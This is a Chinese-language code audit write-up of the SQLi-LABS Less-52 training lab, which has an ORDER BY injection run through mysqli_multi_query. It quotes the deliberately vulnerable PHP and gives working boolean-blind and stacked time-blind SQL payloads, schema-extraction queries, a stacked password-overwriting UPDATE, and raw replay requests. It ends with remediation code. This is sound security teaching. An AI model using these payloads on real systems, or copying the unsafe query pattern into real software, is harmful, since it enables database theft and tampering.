sqli-labs-Less-52-代码审计报告

11次阅读
没有评论

Less-52 代码审计报告:ORDER BY 数字型盲注(mysqli_multi_query)

本报告基于 SQLi-LABS 教学靶场源码(授权范围内安全学习/代码审计)编写,所有代码定位均与 Less-52/index.php 实际文件一致。


1. 关卡概述

项目 内容
关卡名称 Less-52: ORDER BY Clause - Blind based - Numeric - Stacked(堆叠)
源码路径 Less-52/index.php
漏洞类型 SQL 注入 – 布尔盲注 / 时间盲注(ORDER BY 子句)- 数字型,mysqli_multi_query
注入点参数 GET /sqli-labs/Less-52/?sort=
报错/盲注 无报错回显,靠"表格是否显示"或"响应延时"判断
所需环境 PHP 5.x + mysqli 扩展 + MySQL 5.x

2. 漏洞代码定位

文件: Less-52/index.php

// 第 13 行:引入 mysqli 连接
include("../sql-connections/sqli-connect.php");
// 第 14 行:关闭 PHP 报错
error_reporting(0);

// 第 15 行:直接取 GET 参数,未过滤
$id=$_GET['sort'];	

// 第 23 行:数字型直接拼接
$sql="SELECT * FROM users ORDER BY $id";
/* execute multi query */
// 第 25 行:mysqli_multi_query 支持多语句堆叠
if (mysqli_multi_query($con1, $sql))
{
	...
}

关键漏洞点:

  • 第 15 行:$id=$_GET['sort']; 未过滤。
  • 第 23 行:ORDER BY $id 数字型拼接。
  • 第 25 行:mysqli_multi_query 支持堆叠,可堆叠 sleep() 实现时间盲注。
  • 无报错回显:失败时走 else(第 68-72 行),无错误细节,只能盲注。

3. 漏洞分析

  • 输入来源:$_GET['sort'],未过滤。
  • SQL 拼接位置:ORDER BY $id(无引号)。
  • 是否回显:查询成功显示表格;失败不显示。无报错细节。
  • 盲注思路:
    1. 布尔盲注(同 Less-48):sort=(select if(条件,1,(select 1 union select 2))),条件真 → 表格显示,假 → 子查询多行报错 → 表格消失。
    2. 时间盲注(堆叠):利用 mysqli_multi_query,sort=1;select if(条件,sleep(5),1)-- -,首条 SELECT 正常,第二条按条件执行 sleep(5),以响应延时为 Oracle。即使页面无任何差异也能判。

4. 利用方式

步骤一:判断注入点

sort=1            → 正常
sort=1,2          → 正常
sort=(select 1)   → 正常
sort=(select 1 union select 2) → 表格消失

步骤二:布尔盲注判断条件

-- 判断当前库是否为 security
sort=(select if((select database())='security',1,(select 1 union select 2)))
-- 逐字符提取(二分法)
sort=(select if(ascii(substring((select database()),1,1))>64,1,(select 1 union select 2)))
  • 真 → 表格显示;假 → 表格消失。

步骤三:堆叠时间盲注(核心 Payload,无差异环境首选)

-- 条件真则延时 5 秒
sort=1;select if((select database())='security',sleep(5),1)-- -
-- 逐字符判断库名第 i 位
sort=1;select if(ascii(substring((select database()),i,1))=N,sleep(5),1)-- -
-- 爆表名
sort=1;select if(ascii(substring((select table_name from information_schema.tables where table_schema='security' limit 0,1),i,1))=N,sleep(5),1)-- -
  • 条件真 → 响应约 5 秒;假 → 立即返回。

步骤四:进阶

  • 二分法 + 时间盲注脚本逐位提取库名/表名/字段/数据。
  • 堆叠同样可用于写操作: sort=1;update users set password='x' where id=1-- -。

5. Yakit 重放数据包

时间盲注报文:

GET /sqli-labs/Less-52/?sort=1;select%20if((select%20database())='security',sleep(5),1)--%20- HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept: */*
Connection: close

布尔盲注报文:

GET /sqli-labs/Less-52/?sort=(select%20if(ascii(substring((select%20database()),1,1))%3E64,1,(select%201%20union%20select%202))) HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0
Accept: */*
Connection: close

说明:%20=空格、%3E=>、--%20-=-- -。时间盲注注意观察响应时长差异。


6. 修复建议

修复一(首选):排序字段白名单 + 禁止多语句

<?php
$allow = ['id', 'username', 'password'];
$sort  = isset($_GET['sort']) ? $_GET['sort'] : 'id';
if (!in_array($sort, $allow, true)) {
    $sort = 'id';
}
// 单语句执行,禁止 mysqli_multi_query
$sql = "SELECT * FROM users ORDER BY $sort";
$result = mysqli_query($con1, $sql);

修复二:严格校验排序表达式

if (!preg_match('/^[a-zA-Z_][a-zA-Z0-9_]*$/', $sort)) {
    die('Invalid sort field');
}

修复三:纵深防御

  • 禁止 mysqli_multi_query 处理用户可控 SQL(消除堆叠与时间盲注面)。
  • 数据库账号最小权限;统一错误页;升级 PHP 7+ / 8+ 使用 PDO。

附:验证与复现说明

  • 该环境为 SQLi-LABS 教学靶场(故意留洞),本报告仅用于授权范围内的安全学习与防御研究。
  • 复现前需:导入 sql-lab.sql、配置 sql-connections/db-creds.inc、PHP 环境需启用 mysqli 扩展。
正文完
 0